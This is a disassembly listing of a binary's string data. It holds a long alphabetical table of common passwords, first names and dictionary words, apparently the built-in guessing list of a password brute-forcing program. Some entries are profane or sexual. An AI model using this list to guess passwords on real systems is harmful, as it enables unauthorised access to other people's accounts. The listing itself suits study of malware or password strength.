aMortgage	db 'mortgage',0         ; DATA XREF: seg002:0042A268o
		align 4
aMortalco	db 'mortalco',0         ; DATA XREF: seg002:0042A264o
		align 4
aMortal		db 'mortal',0           ; DATA XREF: seg002:0042A260o
		align 10h
aMorris		db 'morris',0           ; DATA XREF: seg002:0042A25Co
		align 4
aMorley		db 'morley',0           ; DATA XREF: seg002:0042A258o
		align 10h
aMore		db 'more',0             ; DATA XREF: seg002:0042A254o
		align 4
aMoose		db 'moose',0            ; DATA XREF: seg002:0042A250o
		align 10h
aMoor		db 'moor',0             ; DATA XREF: seg002:0042A24Co
		align 4
aMoom		db 'moom',0             ; DATA XREF: seg002:0042A248o
		align 10h
aMonica		db 'monica',0           ; DATA XREF: seg002:0042A244o
		align 4
aMonday		db 'monday',0           ; DATA XREF: seg002:0042A240o
		align 10h
aMoguls		db 'moguls',0           ; DATA XREF: seg002:0042A23Co
		align 4
aMogul		db 'mogul',0            ; DATA XREF: seg002:0042A238o
		align 10h
aModem		db 'modem',0            ; DATA XREF: seg002:0042A234o
		align 4
aMode		db 'mode',0             ; DATA XREF: seg000:00404E7Bo
					; seg000:00406345o ...
		align 10h
aMkii		db 'mkii',0             ; DATA XREF: seg002:0042A22Co
		align 4
aMission	db 'mission',0          ; DATA XREF: seg002:0042A228o
aMisfit		db 'misfit',0           ; DATA XREF: seg002:0042A224o
		align 4
aMinsky		db 'minsky',0           ; DATA XREF: seg002:0042A220o
		align 10h
aMinimum	db 'minimum',0          ; DATA XREF: seg002:0042A21Co
aMine		db 'mine',0             ; DATA XREF: seg002:0042A218o
		align 10h
aMike		db 'mike',0             ; DATA XREF: seg002:0042A214o
		align 4
aMidieval	db 'midieval',0         ; DATA XREF: seg002:0042A210o
		align 4
aMicrosof	db 'microsof',0         ; DATA XREF: seg002:0042A20Co
		align 10h
aMicropro	db 'micropro',0         ; DATA XREF: seg002:0042A208o
		align 4
aMicrochi	db 'microchi',0         ; DATA XREF: seg002:0042A204o
		align 4
aMicro		db 'micro',0            ; DATA XREF: seg002:0042A200o
		align 10h
aMickey		db 'mickey',0           ; DATA XREF: seg002:0042A1FCo
		align 4
aMichelle	db 'michelle',0         ; DATA XREF: seg002:0042A1F8o
		align 4
aMichele	db 'michele',0          ; DATA XREF: seg002:0042A1F4o
aMichelan	db 'michelan',0         ; DATA XREF: seg002:0042A1F0o
		align 4
aMichel		db 'michel',0           ; DATA XREF: seg002:0042A1ECo
		align 10h
aMichael	db 'michael',0          ; DATA XREF: seg002:0042A1E8o
aMice		db 'mice',0             ; DATA XREF: seg002:0042A1E4o
		align 10h
aMets		db 'mets',0             ; DATA XREF: seg002:0042A1E0o
		align 4
aMetalica	db 'metalica',0         ; DATA XREF: seg002:0042A1DCo
		align 4
aMetalhea	db 'metalhea',0         ; DATA XREF: seg002:0042A1D8o
		align 10h
aMetal		db 'metal',0            ; DATA XREF: seg002:0042A1D4o
		align 4
aMerlin		db 'merlin',0           ; DATA XREF: seg002:0042A1D0o
		align 10h
aMercury	db 'mercury',0          ; DATA XREF: seg002:0042A1CCo
aMenu		db 'menu',0             ; DATA XREF: seg002:0042A1C8o
		align 10h
aMenace		db 'menace',0           ; DATA XREF: seg002:0042A1C4o
		align 4
aMemory		db 'memory',0           ; DATA XREF: seg002:0042A1C0o
		align 10h
aMember		db 'member',0           ; DATA XREF: seg002:0042A1BCo
		align 4
aMelrose	db 'melrose',0          ; DATA XREF: seg002:0042A1B8o
aMellon		db 'mellon',0           ; DATA XREF: seg002:0042A1B4o
		align 4
aMelissa	db 'melissa',0          ; DATA XREF: seg002:0042A1B0o
aMegan		db 'megan',0            ; DATA XREF: seg002:0042A1ACo
		align 4
aMegadeth	db 'megadeth',0         ; DATA XREF: seg002:0042A1A8o
		align 4
aMegabyte	db 'megabyte',0         ; DATA XREF: seg002:0042A1A4o
		align 10h
aMeagan		db 'meagan',0           ; DATA XREF: seg002:0042A1A0o
		align 4
aMaurice	db 'maurice',0          ; DATA XREF: seg002:0042A19Co
aMath		db 'math',0             ; DATA XREF: seg002:0042A198o
		align 4
aMaster		db 'master',0           ; DATA XREF: seg002:0042A194o
		align 10h
aMason		db 'mason',0            ; DATA XREF: seg002:0042A190o
		align 4
aMary		db 'mary',0             ; DATA XREF: seg002:0042A18Co
		align 10h
aMarvin		db 'marvin',0           ; DATA XREF: seg002:0042A188o
		align 4
aMarty		db 'marty',0            ; DATA XREF: seg002:0042A184o
		align 10h
aMars		db 'mars',0             ; DATA XREF: seg002:0042A180o
		align 4
aMarriage	db 'marriage',0         ; DATA XREF: seg002:0042A17Co
		align 4
aMarni		db 'marni',0            ; DATA XREF: seg002:0042A178o
		align 4
aMarkus		db 'markus',0           ; DATA XREF: seg002:0042A174o
		align 4
aMark		db 'mark',0             ; DATA XREF: seg002:0042A170o
		align 4
aMarines	db 'marines',0          ; DATA XREF: seg002:0042A16Co
aMarijuan	db 'marijuan',0         ; DATA XREF: seg002:0042A168o
		align 10h
aMarietta	db 'marietta',0         ; DATA XREF: seg002:0042A164o
		align 4
aMariens	db 'mariens',0          ; DATA XREF: seg002:0042A160o
aMaria		db 'maria',0            ; DATA XREF: seg002:0042A15Co
		align 4
aMarcy		db 'marcy',0            ; DATA XREF: seg002:0042A158o
					; seg002:0043FFDCo
		align 4
aMarci		db 'marci',0            ; DATA XREF: seg002:0042A154o
		align 4
aMara		db 'mara',0             ; DATA XREF: seg002:0042A150o
		align 4
aManager	db 'manager',0          ; DATA XREF: seg002:0042A14Co
aMana		db 'mana',0             ; DATA XREF: seg002:0042A148o
		align 4
aMalcom		db 'malcom',0           ; DATA XREF: seg002:0042A144o
		align 4
aMalcolm	db 'malcolm',0          ; DATA XREF: seg002:0042A140o
aMaint		db 'maint',0            ; DATA XREF: seg002:0042A13Co
		align 4
aMail		db 'mail',0             ; DATA XREF: seg002:0042A138o
		align 4
aMagnet		db 'magnet',0           ; DATA XREF: seg002:0042A134o
		align 4
aMagic		db 'magic',0            ; DATA XREF: seg002:0042A130o
		align 4
aMaggot		db 'maggot',0           ; DATA XREF: seg002:0042A12Co
		align 4
aMacro		db 'macro',0            ; DATA XREF: seg002:0042A128o
		align 4
aMack		db 'mack',0             ; DATA XREF: seg002:0042A124o
		align 4
aMacintos	db 'macintos',0         ; DATA XREF: seg002:0042A120o
		align 4
aMachine	db 'machine',0          ; DATA XREF: seg002:0042A11Co
aLynne		db 'lynne',0            ; DATA XREF: seg002:0042A118o
		align 4
aLynn		db 'lynn',0             ; DATA XREF: seg002:0042A114o
		align 10h
aLust		db 'lust',0             ; DATA XREF: seg002:0042A110o
		align 4
aLuke		db 'luke',0             ; DATA XREF: seg002:0042A10Co
		align 10h
aLude		db 'lude',0             ; DATA XREF: seg002:0042A108o
		align 4
aLucy		db 'lucy',0             ; DATA XREF: seg002:0042A104o
		align 10h
aLucus		db 'lucus',0            ; DATA XREF: seg002:0042A100o
		align 4
aLuck		db 'luck',0             ; DATA XREF: seg002:0042A0FCo
		align 10h
aLover		db 'lover',0            ; DATA XREF: seg002:0042A0F8o
		align 4
aLovebug	db 'lovebug',0          ; DATA XREF: seg002:0042A0F4o
aLouis		db 'louis',0            ; DATA XREF: seg002:0042A0F0o
		align 4
aLoser		db 'loser',0            ; DATA XREF: seg002:0042A0ECo
		align 10h
aLorraine	db 'lorraine',0         ; DATA XREF: seg002:0042A0E8o
		align 4
aLorin		db 'lorin',0            ; DATA XREF: seg002:0042A0E4o
		align 4
aLori		db 'lori',0             ; DATA XREF: seg002:0042A0E0o
		align 4
aLore		db 'lore',0             ; DATA XREF: seg002:0042A0DCo
		align 4
aLoose		db 'loose',0            ; DATA XREF: seg002:0042A0D8o
		align 4
aLolopc		db 'lolopc',0           ; DATA XREF: seg002:0042A0D4o
		align 4
aLois		db 'lois',0             ; DATA XREF: seg002:0042A0D0o
		align 4
aLogout		db 'logout',0           ; DATA XREF: seg000:004029FDo
					; seg002:0042A0CCo
		align 4
aLoginwor	db 'loginwor',0         ; DATA XREF: seg002:0042A0C8o
		align 10h
aLogic		db 'logic',0            ; DATA XREF: seg002:0042A0C4o
		align 4
aLockword	db 'lockword',0         ; DATA XREF: seg002:0042A0C0o
		align 4
aLockout	db 'lockout',0          ; DATA XREF: seg002:0042A0BCo
aLock		db 'lock',0             ; DATA XREF: seg002:0042A0B8o
		align 4
aLoad		db 'load',0             ; DATA XREF: seg000:00404CBAo
					; seg002:0042A0B4o
		align 4
aLive		db 'live',0             ; DATA XREF: seg002:0042A0B0o
		align 4
aLiteratu	db 'literatu',0         ; DATA XREF: seg002:0042A0ACo
		align 10h
aLisp		db 'lisp',0             ; DATA XREF: seg002:0042A0A8o
		align 4
aLisa		db 'lisa',0             ; DATA XREF: seg002:0042A0A4o
		align 10h
aLips		db 'lips',0             ; DATA XREF: seg002:0042A0A0o
		align 4
aLion		db 'lion',0             ; DATA XREF: seg002:0042A09Co
		align 10h
aLink		db 'link',0             ; DATA XREF: seg002:0042A098o
		align 4
aLinda		db 'linda',0            ; DATA XREF: seg002:0042A094o
		align 10h
aLimited	db 'limited',0          ; DATA XREF: seg002:0042A090o
aLimbaugh	db 'limbaugh',0         ; DATA XREF: seg002:0042A08Co
		align 4
aLima		db 'lima',0             ; DATA XREF: seg002:0042A088o
		align 4
aLightsab	db 'lightsab',0         ; DATA XREF: seg002:0042A084o
		align 4
aLight		db 'light',0            ; DATA XREF: seg002:0042A080o
		align 10h
aLife		db 'life',0             ; DATA XREF: seg002:0042A07Co
		align 4
aLicker		db 'licker',0           ; DATA XREF: seg002:0042A078o
		align 10h
aLick		db 'lick',0             ; DATA XREF: seg002:0042A074o
		align 4
aLibrary	db 'library',0          ; DATA XREF: seg002:0042A070o
aLiberal	db 'liberal',0          ; DATA XREF: seg002:0042A06Co
aLexluthe	db 'lexluthe',0         ; DATA XREF: seg002:0042A068o
		align 4
aLewis		db 'lewis',0            ; DATA XREF: seg002:0042A064o
		align 4
aLetmein	db 'letmein',0          ; DATA XREF: seg002:0042A060o
aLeslie		db 'leslie',0           ; DATA XREF: seg002:0042A05Co
		align 4
aLesbian	db 'lesbian',0          ; DATA XREF: seg002:0042A058o
aLeroy		db 'leroy',0            ; DATA XREF: seg002:0042A054o
		align 4
aLeland		db 'leland',0           ; DATA XREF: seg002:0042A050o
		align 4
aLegal		db 'legal',0            ; DATA XREF: seg002:0042A04Co
		align 4
aLeftwing	db 'leftwing',0         ; DATA XREF: seg002:0042A048o
		align 4
aLeft		db 'left',0             ; DATA XREF: seg002:0042A044o
		align 10h
aLebesgue	db 'lebesgue',0         ; DATA XREF: seg002:0042A040o
		align 4
aLeah		db 'leah',0             ; DATA XREF: seg002:0042A03Co
		align 4
aLazer		db 'lazer',0            ; DATA XREF: seg002:0042A038o
		align 4
aLazarus	db 'lazarus',0          ; DATA XREF: seg002:0042A034o
aLava		db 'lava',0             ; DATA XREF: seg002:0042A030o
		align 4
aLaura		db 'laura',0            ; DATA XREF: seg002:0042A02Co
		align 4
aLaser		db 'laser',0            ; DATA XREF: seg002:0042A028o
		align 4
aLarry		db 'larry',0            ; DATA XREF: seg002:0042A024o
		align 4
aLarkin		db 'larkin',0           ; DATA XREF: seg002:0042A020o
		align 4
aLara		db 'lara',0             ; DATA XREF: seg002:0042A01Co
		align 4
aLaptop		db 'laptop',0           ; DATA XREF: seg002:0042A018o
		align 4
aLana		db 'lana',0             ; DATA XREF: seg002:0042A014o
		align 4
aLaminati	db 'laminati',0         ; DATA XREF: seg002:0042A010o
		align 10h
aLambda		db 'lambda',0           ; DATA XREF: seg002:0042A00Co
		align 4
aLakers		db 'lakers',0           ; DATA XREF: seg002:0042A008o
		align 10h
aLadle		db 'ladle',0            ; DATA XREF: seg002:0042A004o
		align 4
aLadies		db 'ladies',0           ; DATA XREF: seg002:0042A000o
		align 10h
aKristy		db 'kristy',0           ; DATA XREF: seg002:00429FFCo
		align 4
aKristine	db 'kristine',0         ; DATA XREF: seg002:00429FF8o
		align 4
aKristin	db 'kristin',0          ; DATA XREF: seg002:00429FF4o
aKristie	db 'kristie',0          ; DATA XREF: seg002:00429FF0o
aKristi		db 'kristi',0           ; DATA XREF: seg002:00429FECo
		align 4
aKristen	db 'kristen',0          ; DATA XREF: seg002:00429FE8o
aKrista		db 'krista',0           ; DATA XREF: seg002:00429FE4o
		align 4
aKnown		db 'known',0            ; DATA XREF: seg002:00429FE0o
		align 4
aKnightma	db 'knightma',0         ; DATA XREF: seg002:00429FDCo
		align 10h
aKnight		db 'knight',0           ; DATA XREF: seg002:00429FD8o
		align 4
aKnife		db 'knife',0            ; DATA XREF: seg002:00429FD4o
		align 10h
aKlingon	db 'klingon',0          ; DATA XREF: seg002:00429FD0o
aKitten		db 'kitten',0           ; DATA XREF: seg002:00429FCCo
		align 10h
aKissmyas	db 'kissmyas',0         ; DATA XREF: seg002:00429FC8o
		align 4
aKiss		db 'kiss',0             ; DATA XREF: seg002:00429FC4o
		align 4
aKirkland	db 'kirkland',0         ; DATA XREF: seg002:00429FC0o
		align 10h
aKirk		db 'kirk',0             ; DATA XREF: seg002:00429FBCo
		align 4
aKing		db 'king',0             ; DATA XREF: seg002:00429FB8o
		align 10h
aKimberly	db 'kimberly',0         ; DATA XREF: seg002:00429FB4o
		align 4
aKilo		db 'kilo',0             ; DATA XREF: seg002:00429FB0o
		align 4
aKillthem	db 'killthem',0         ; DATA XREF: seg002:00429FACo
		align 10h
aKill		db 'kill',0             ; DATA XREF: seg000:004059F2o
					; seg002:00429FA8o
		align 4
aKids		db 'kids',0             ; DATA XREF: seg002:00429FA4o
		align 10h
aKeyword	db 'keyword',0          ; DATA XREF: seg002:00429FA0o
aKeyin		db 'keyin',0            ; DATA XREF: seg002:00429F9Co
		align 10h
aKeybord	db 'keybord',0          ; DATA XREF: seg002:00429F98o
aKewl		db 'kewl',0             ; DATA XREF: seg002:00429F94o
		align 10h
aKevin		db 'kevin',0            ; DATA XREF: seg002:00429F90o
		align 4
aKerry		db 'kerry',0            ; DATA XREF: seg002:00429F8Co
		align 10h
aKerrie		db 'kerrie',0           ; DATA XREF: seg002:00429F88o
		align 4
aKerri		db 'kerri',0            ; DATA XREF: seg002:00429F84o
		align 10h
aKernel		db 'kernel',0           ; DATA XREF: seg002:00429F80o
		align 4
aKermit		db 'kermit',0           ; DATA XREF: seg002:00429F7Co
					; seg002:00440004o
		align 10h
aKeri		db 'keri',0             ; DATA XREF: seg002:00429F78o
		align 4
aKelly		db 'kelly',0            ; DATA XREF: seg002:00429F74o
		align 10h
aKatrina	db 'katrina',0          ; DATA XREF: seg002:00429F70o
aKatina		db 'katina',0           ; DATA XREF: seg002:00429F6Co
		align 10h
aKathy		db 'kathy',0            ; DATA XREF: seg002:00429F68o
		align 4
aKathrine	db 'kathrine',0         ; DATA XREF: seg002:00429F64o
		align 4
aKathleen	db 'kathleen',0         ; DATA XREF: seg002:00429F60o
		align 10h
aKate		db 'kate',0             ; DATA XREF: seg002:00429F5Co
		align 4
aKatana		db 'katana',0           ; DATA XREF: seg002:00429F58o
		align 10h
aKarina		db 'karina',0           ; DATA XREF: seg002:00429F54o
		align 4
aKarie		db 'karie',0            ; DATA XREF: seg002:00429F50o
		align 10h
aKaren		db 'karen',0            ; DATA XREF: seg002:00429F4Co
		align 4
aKaka		db 'kaka',0             ; DATA XREF: seg002:00429F48o
		align 10h
aJupiter	db 'jupiter',0          ; DATA XREF: seg002:00429F44o
aJune		db 'june',0             ; DATA XREF: seg002:00429F40o
		align 10h
aJuliet		db 'juliet',0           ; DATA XREF: seg002:00429F3Co
		align 4
aJulie		db 'julie',0            ; DATA XREF: seg002:00429F38o
		align 10h
aJulia		db 'julia',0            ; DATA XREF: seg002:00429F34o
		align 4
aJuicy		db 'juicy',0            ; DATA XREF: seg002:00429F30o
		align 10h
aJuggle		db 'juggle',0           ; DATA XREF: seg002:00429F2Co
		align 4
aJudy		db 'judy',0             ; DATA XREF: seg002:00429F28o
		align 10h
aJudith		db 'judith',0           ; DATA XREF: seg002:00429F24o
		align 4
aJoyce		db 'joyce',0            ; DATA XREF: seg002:00429F20o
		align 10h
aJournal	db 'journal',0          ; DATA XREF: seg002:00429F1Co
aJoshua		db 'joshua',0           ; DATA XREF: seg002:00429F18o
		align 10h
aJoseph		db 'joseph',0           ; DATA XREF: seg002:00429F14o
		align 4
aJohnny		db 'johnny',0           ; DATA XREF: seg002:00429F10o
		align 10h
aJohndoe	db 'johndoe',0          ; DATA XREF: seg002:00429F0Co
aJohn		db 'john',0             ; DATA XREF: seg002:00429F08o
		align 10h
aJody		db 'jody',0             ; DATA XREF: seg002:00429F04o
		align 4
aJoanne		db 'joanne',0           ; DATA XREF: seg002:00429F00o
		align 10h
aJixian		db 'jixian',0           ; DATA XREF: seg002:00429EFCo
		align 4
aJill		db 'jill',0             ; DATA XREF: seg002:00429EF8o
		align 10h
aJewelry	db 'jewelry',0          ; DATA XREF: seg002:00429EF4o
aJester		db 'jester',0           ; DATA XREF: seg002:00429EF0o
		align 10h
aJessica	db 'jessica',0          ; DATA XREF: seg002:00429EECo
aJerusale	db 'jerusale',0         ; DATA XREF: seg002:00429EE8o
		align 4
aJerry		db 'jerry',0            ; DATA XREF: seg002:00429EE4o
		align 4
aJenny		db 'jenny',0            ; DATA XREF: seg002:00429EE0o
		align 4
aJennifer	db 'jennifer',0         ; DATA XREF: seg002:00429EDCo
		align 10h
aJenni		db 'jenni',0            ; DATA XREF: seg002:00429ED8o
		align 4
aJeff		db 'jeff',0             ; DATA XREF: seg002:00429ED4o
		align 10h
aJeanne		db 'jeanne',0           ; DATA XREF: seg002:00429ED0o
		align 4
aJean		db 'jean',0             ; DATA XREF: seg002:00429ECCo
		align 10h
aJazz		db 'jazz',0             ; DATA XREF: seg002:00429EC8o
		align 4
aJava		db 'java',0             ; DATA XREF: seg002:00429EC4o
		align 10h
aJasmin		db 'jasmin',0           ; DATA XREF: seg002:00429EC0o
		align 4
aJapan		db 'japan',0            ; DATA XREF: seg002:00429EBCo
		align 10h
aJanie		db 'janie',0            ; DATA XREF: seg002:00429EB8o
		align 4
aJanice		db 'janice',0           ; DATA XREF: seg002:00429EB4o
		align 10h
aJanet		db 'janet',0            ; DATA XREF: seg002:00429EB0o
		align 4
aJane		db 'jane',0             ; DATA XREF: seg002:00429EACo
		align 10h
aJail		db 'jail',0             ; DATA XREF: seg002:00429EA8o
		align 4
aJackie		db 'jackie',0           ; DATA XREF: seg002:00429EA4o
		align 10h
aIsis		db 'isis',0             ; DATA XREF: seg002:00429EA0o
		align 4
aIrishman	db 'irishman',0         ; DATA XREF: seg002:00429E9Co
		align 4
aIrene		db 'irene',0            ; DATA XREF: seg002:00429E98o
		align 4
aInvent		db 'invent',0           ; DATA XREF: seg002:00429E94o
		align 4
aInteger	db 'integer',0          ; DATA XREF: seg002:00429E90o
aInside		db 'inside',0           ; DATA XREF: seg002:00429E8Co
		align 4
aInput		db 'input',0            ; DATA XREF: seg002:00429E88o
		align 4
aInnocuou	db 'innocuou',0         ; DATA XREF: seg002:00429E84o
		align 4
aInna		db 'inna',0             ; DATA XREF: seg002:00429E80o
		align 10h
aIngrid		db 'ingrid',0           ; DATA XREF: seg002:00429E7Co
		align 4
aIngress	db 'ingress',0          ; DATA XREF: seg002:00429E78o
aIngres		db 'ingres',0           ; DATA XREF: seg002:00429E74o
		align 4
aIndians	db 'indians',0          ; DATA XREF: seg002:00429E70o
aIndiana	db 'indiana',0          ; DATA XREF: seg002:00429E6Co
aIndian		db 'indian',0           ; DATA XREF: seg002:00429E68o
		align 10h
aIndia		db 'india',0            ; DATA XREF: seg002:00429E64o
		align 4
aInclude	db 'include',0          ; DATA XREF: seg002:00429E60o
aImperial	db 'imperial',0         ; DATA XREF: seg002:00429E5Co
		align 4
aImmortal	db 'immortal',0         ; DATA XREF: seg002:00429E58o
		align 4
aImbrogli	db 'imbrogli',0         ; DATA XREF: seg002:00429E54o
		align 4
aImage		db 'image',0            ; DATA XREF: seg002:00429E50o
		align 4
aIllumina	db 'illumina',0         ; DATA XREF: seg002:00429E4Co
		align 4
aIcecream	db 'icecream',0         ; DATA XREF: seg002:00429E48o
		align 4
aHypertxt	db 'hypertxt',0         ; DATA XREF: seg002:00429E44o
		align 10h
aHyper		db 'hyper',0            ; DATA XREF: seg002:00429E40o
		align 4
aHydrogen	db 'hydrogen',0         ; DATA XREF: seg002:00429E3Co
		align 4
aHutchins	db 'hutchins',0         ; DATA XREF: seg002:00429E38o
		align 10h
aHunter		db 'hunter',0           ; DATA XREF: seg002:00429E34o
		align 4
aHunt		db 'hunt',0             ; DATA XREF: seg002:00429E30o
		align 10h
aHttp		db 'http',0             ; DATA XREF: seg000:00403613o
					; seg002:00429E2Co
		align 4
aHotel		db 'hotel',0            ; DATA XREF: seg002:00429E28o
		align 10h
aHotdog		db 'hotdog',0           ; DATA XREF: seg002:00429E24o
		align 4
aHost		db 'host',0             ; DATA XREF: seg002:00429E20o
		align 10h
aHorus		db 'horus',0            ; DATA XREF: seg002:00429E1Co
		align 4
aHorse		db 'horse',0            ; DATA XREF: seg002:00429E18o
		align 10h
aHorror		db 'horror',0           ; DATA XREF: seg002:00429E14o
		align 4
aHorrible	db 'horrible',0         ; DATA XREF: seg002:00429E10o
		align 4
aHorny		db 'horny',0            ; DATA XREF: seg002:00429E0Co
		align 4
aHooters	db 'hooters',0          ; DATA XREF: seg002:00429E08o
aHooker		db 'hooker',0           ; DATA XREF: seg002:00429E04o
		align 4
aHoney		db 'honey',0            ; DATA XREF: seg002:00429E00o
		align 4
aHomework	db 'homework',0         ; DATA XREF: seg002:00429DFCo
		align 10h
aHomer		db 'homer',0            ; DATA XREF: seg002:00429DF8o
		align 4
aHomepage	db 'homepage',0         ; DATA XREF: seg002:00429DF4o
		align 4
aHollywoo	db 'hollywoo',0         ; DATA XREF: seg002:00429DF0o
		align 10h
aHolly		db 'holly',0            ; DATA XREF: seg002:00429DECo
		align 4
aHole		db 'hole',0             ; DATA XREF: seg002:00429DE8o
		align 10h
aHits		db 'hits',0             ; DATA XREF: seg002:00429DE4o
		align 4
aHitler		db 'hitler',0           ; DATA XREF: seg002:00429DE0o
		align 10h
aHighland	db 'highland',0         ; DATA XREF: seg002:00429DDCo
		align 4
aHigh		db 'high',0             ; DATA XREF: seg002:00429DD8o
		align 4
aHidden		db 'hidden',0           ; DATA XREF: seg002:00429DD4o
		align 4
aHibernia	db 'hibernia',0         ; DATA XREF: seg002:00429DD0o
		align 4
aHiawatha	db 'hiawatha',0         ; DATA XREF: seg002:00429DCCo
		align 4
aHexadeci	db 'hexadeci',0         ; DATA XREF: seg002:00429DC8o
		align 10h
aHewlett	db 'hewlett',0          ; DATA XREF: seg002:00429DC4o
aHeroin		db 'heroin',0           ; DATA XREF: seg002:00429DC0o
		align 10h
aHero		db 'hero',0             ; DATA XREF: seg002:00429DBCo
		align 4
aHerbert	db 'herbert',0          ; DATA XREF: seg002:00429DB8o
aHerb		db 'herb',0             ; DATA XREF: seg002:00429DB4o
		align 4
aHelp		db 'help',0             ; DATA XREF: seg002:00429DB0o
		align 10h
aHello		db 'hello',0            ; DATA XREF: seg002:00429DACo
		align 4
aHell		db 'hell',0             ; DATA XREF: seg002:00429DA8o
		align 10h
aHeinlein	db 'heinlein',0         ; DATA XREF: seg002:00429DA4o
		align 4
aHeidi		db 'heidi',0            ; DATA XREF: seg002:00429DA0o
		align 4
aHebrides	db 'hebrides',0         ; DATA XREF: seg002:00429D9Co
		align 10h
aHeather	db 'heather',0          ; DATA XREF: seg002:00429D98o
aHeathen	db 'heathen',0          ; DATA XREF: seg002:00429D94o
aHeat		db 'heat',0             ; DATA XREF: seg002:00429D90o
		align 4
aHeadbang	db 'headbang',0         ; DATA XREF: seg002:00429D8Co
		align 4
aHead		db 'head',0             ; DATA XREF: seg002:00429D88o
		align 4
aHawaii		db 'hawaii',0           ; DATA XREF: seg002:00429D84o
		align 4
aHaven		db 'haven',0            ; DATA XREF: seg002:00429D80o
		align 4
aHate		db 'hate',0             ; DATA XREF: seg002:00429D7Co
		align 4
aHarvey		db 'harvey',0           ; DATA XREF: seg002:00429D78o
		align 4
aHarold		db 'harold',0           ; DATA XREF: seg002:00429D74o
		align 4
aHarmony	db 'harmony',0          ; DATA XREF: seg002:00429D70o
aHarddriv	db 'harddriv',0         ; DATA XREF: seg002:00429D6Co
		align 4
aHardcore	db 'hardcore',0         ; DATA XREF: seg002:00429D68o
		align 4
aHard		db 'hard',0             ; DATA XREF: seg002:00429D64o
		align 4
aHappenin	db 'happenin',0         ; DATA XREF: seg002:00429D60o
		align 4
aHandjob	db 'handjob',0          ; DATA XREF: seg002:00429D5Co
aHandily	db 'handily',0          ; DATA XREF: seg002:00429D58o
aHandel		db 'handel',0           ; DATA XREF: seg002:00429D54o
		align 10h
aHamster	db 'hamster',0          ; DATA XREF: seg002:00429D50o
aHamlet		db 'hamlet',0           ; DATA XREF: seg002:00429D4Co
		align 10h
aHallowee	db 'hallowee',0         ; DATA XREF: seg002:00429D48o
		align 4
aHair		db 'hair',0             ; DATA XREF: seg002:00429D44o
		align 4
aHagar		db 'hagar',0            ; DATA XREF: seg002:00429D40o
		align 4
aHacked		db 'hacked',0           ; DATA XREF: seg002:00429D3Co
		align 4
aHack		db 'hack',0             ; DATA XREF: seg002:00429D38o
		align 4
aGuntis		db 'guntis',0           ; DATA XREF: seg002:00429D34o
		align 4
aGumption	db 'gumption',0         ; DATA XREF: seg002:00429D30o
		align 10h
aGuitar		db 'guitar',0           ; DATA XREF: seg002:00429D2Co
		align 4
aGuess		db 'guess',0            ; DATA XREF: seg002:00429D28o
		align 10h
aGucci		db 'gucci',0            ; DATA XREF: seg002:00429D24o
		align 4
aGuardian	db 'guardian',0         ; DATA XREF: seg002:00429D20o
		align 4
aGryphon	db 'gryphon',0          ; DATA XREF: seg002:00429D1Co
aGroup		db 'group',0            ; DATA XREF: seg002:00429D18o
		align 4
aGreen		db 'green',0            ; DATA XREF: seg002:00429D14o
		align 4
aGreat		db 'great',0            ; DATA XREF: seg002:00429D10o
		align 4
aGrant		db 'grant',0            ; DATA XREF: seg002:00429D0Co
		align 4
aGrand		db 'grand',0            ; DATA XREF: seg002:00429D08o
		align 4
aGrahm		db 'grahm',0            ; DATA XREF: seg002:00429D04o
		align 4
aGraham		db 'graham',0           ; DATA XREF: seg002:00429D00o
		align 4
aGrades		db 'grades',0           ; DATA XREF: seg002:00429CFCo
		align 4
aGovermen	db 'govermen',0         ; DATA XREF: seg002:00429CF8o
		align 4
aGouge		db 'gouge',0            ; DATA XREF: seg002:00429CF4o
		align 10h
aGosling	db 'gosling',0          ; DATA XREF: seg002:00429CF0o
aGorges		db 'gorges',0           ; DATA XREF: seg002:00429CECo
		align 10h
aGorgeous	db 'gorgeous',0         ; DATA XREF: seg002:00429CE8o
		align 4
aGood		db 'good',0             ; DATA XREF: seg002:00429CE4o
		align 4
aGolfer		db 'golfer',0           ; DATA XREF: seg002:00429CE0o
		align 4
aGolf		db 'golf',0             ; DATA XREF: seg002:00429CDCo
		align 4
aGolden		db 'golden',0           ; DATA XREF: seg002:00429CD8o
		align 4
aGold		db 'gold',0             ; DATA XREF: seg002:00429CD4o
		align 4
aGlacier	db 'glacier',0          ; DATA XREF: seg002:00429CD0o
aGirl		db 'girl',0             ; DATA XREF: seg002:00429CCCo
		align 4
aGinger		db 'ginger',0           ; DATA XREF: seg002:00429CC8o
		align 4
aGina		db 'gina',0             ; DATA XREF: seg002:00429CC4o
		align 4
aGigabyte	db 'gigabyte',0         ; DATA XREF: seg002:00429CC0o
		align 10h
aGibson		db 'gibson',0           ; DATA XREF: seg002:00429CBCo
		align 4
aGhost		db 'ghost',0            ; DATA XREF: seg002:00429CB8o
		align 10h
aGertrude	db 'gertrude',0         ; DATA XREF: seg002:00429CB4o
		align 4
aGerm		db 'germ',0             ; DATA XREF: seg002:00429CB0o
		align 4
aGeorge		db 'george',0           ; DATA XREF: seg002:00429CACo
		align 4
aGauss		db 'gauss',0            ; DATA XREF: seg002:00429CA8o
		align 4
aGatt		db 'gatt',0             ; DATA XREF: seg002:00429CA4o
		align 4
aGatherin	db 'gatherin',0         ; DATA XREF: seg002:00429CA0o
		align 4
aGateway	db 'gateway',0          ; DATA XREF: seg002:00429C9Co
aGarfield	db 'garfield',0         ; DATA XREF: seg002:00429C98o
		align 4
aGardner	db 'gardner',0          ; DATA XREF: seg002:00429C94o
aGames		db 'games',0            ; DATA XREF: seg002:00429C90o
		align 4
aGabriel	db 'gabriel',0          ; DATA XREF: seg002:00429C8Co
aFungible	db 'fungible',0         ; DATA XREF: seg002:00429C88o
		align 10h
aFunction	db 'function',0         ; DATA XREF: seg002:00429C84o
		align 4
aFudge		db 'fudge',0            ; DATA XREF: seg002:00429C80o
		align 4
aFuckyou	db 'fuckyou',0          ; DATA XREF: seg002:00429C7Co
aFuckme		db 'fuckme',0           ; DATA XREF: seg002:00429C78o
		align 4
aFucking	db 'fucking',0          ; DATA XREF: seg002:00429C74o
aFucker		db 'fucker',0           ; DATA XREF: seg002:00429C70o
		align 4
aFuck		db 'fuck',0             ; DATA XREF: seg002:00429C6Co
		align 4
aFryguy		db 'fryguy',0           ; DATA XREF: seg002:00429C68o
		align 4
aFrog		db 'frog',0             ; DATA XREF: seg002:00429C64o
		align 4
aFrighten	db 'frighten',0         ; DATA XREF: seg002:00429C60o
		align 4
aFriends	db 'friends',0          ; DATA XREF: seg002:00429C5Co
aFriend		db 'friend',0           ; DATA XREF: seg002:00429C58o
		align 4
aFriday		db 'friday',0           ; DATA XREF: seg002:00429C54o
		align 10h
aFrench		db 'french',0           ; DATA XREF: seg002:00429C50o
		align 4
